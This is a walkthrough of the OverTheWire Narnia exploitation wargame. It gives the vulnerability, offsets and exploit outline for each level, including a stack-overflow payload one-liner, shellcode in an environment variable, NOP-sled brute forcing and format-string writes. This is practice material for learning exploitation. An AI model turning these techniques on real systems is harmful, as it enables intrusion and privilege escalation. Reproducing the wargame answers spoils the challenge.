OverTheWire - Narnia
narnia
narnia.labs.overthewire.org 2226
level 0 → level 1
1 | SSH Information |
Basic exploitation wargame, 10 levels (0-9). Stack overflows, format strings, shellcode, ret2libc.
Vulnerability: Stack buffer overflow
(scanf)
Source narnia0.c:
1 | int main() { |
buf[20] + scanf("%24s") reads 24 bytes →
overwrites val at offset 20.
1 | python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'\xef\xbe\xad\xde')" | ./narnia0 |
level 1 → level 2
Vulnerability: Arbitrary code execution via environment variable
1 | int main() { |
Executes EGG environment variable as code. Put shellcode
(setreuid + execve /bin/sh) in EGG:
1 | from pwn import * |
level 2 → level 3
Vulnerability: Stack buffer overflow
(strcpy, 128-byte buffer)
1 | int main(int argc, char *argv[]) { |
Offset to return address: 132 bytes (buf[128] + saved ebp[4]). ASLR disabled, stack executable. Brute-force stack address with NOP sled:
1 | from pwn import * |
Hit at 0xffffdd18.
level 3 → level 4
Vulnerability: Stack overflow (strcpy)
into output filename
1 | int main(int argc, char **argv) { |
Overflow ifile[32] into ofile[16] —
redirect output from /dev/null to writable file. Distance from ifile to
ofile: 32 bytes. Create symlink matching the full overflowed path:
1 | cd /tmp && mkdir nx && cd nx |
level 4 → level 5
Vulnerability: Stack buffer overflow
(strcpy, 256-byte buffer, environ cleared)
1 | int main(int argc, char **argv) { |
Return address offset: 264 bytes (256 buffer + 8 padding). ASLR off, stack executable:
1 | from pwn import * |
Hit at 0xffffdca0.
level 5 → level 6
Vulnerability: Format string (snprintf
with user-controlled format, write to local variable i)
1 | int main(int argc, char **argv) { |
The program leaks &i in output. Position 1 on the
stack contains the first 4 bytes of buffer. Use
%1$496d%1$n to write exactly 500 to i:
1 | from pwn import * |
level 6 → level 7
Vulnerability: Buffer overflow overwriting function pointer
1 | int main(int argc, char *argv[]) { |
Stack layout: b2 at lowest, b1 above,
fp above. Overflow b2[8] → b1[8]
→ fp[4]. The anti-stack check blocks 0xff but
libc (0xf7...) passes.
Use 7 bytes for argv[2] so null stays in
b2. argv[1] = sh;#ABCD (no null
bytes, shell runs via system()).
1 |
|
1 | gcc run6.c -o run6 |
level 7 → level 8
Vulnerability: Format string overwrite of function pointer
1 | int vuln(const char *format) { |
Leaks addresses. Overwrite ptrf with
hackedfunction via %hn:
1 | import subprocess, struct, re |
level 8 → level 9
Vulnerability: Stack buffer overflow with corrupted source pointer
1 | int i; |
Leak argv[1] with 20-byte payload (loop stops before corrupting
blah), then craft exploit with corrected pointer:
1 | from pwn import * |
level 9
Final level — no exploit required. Wargame complete.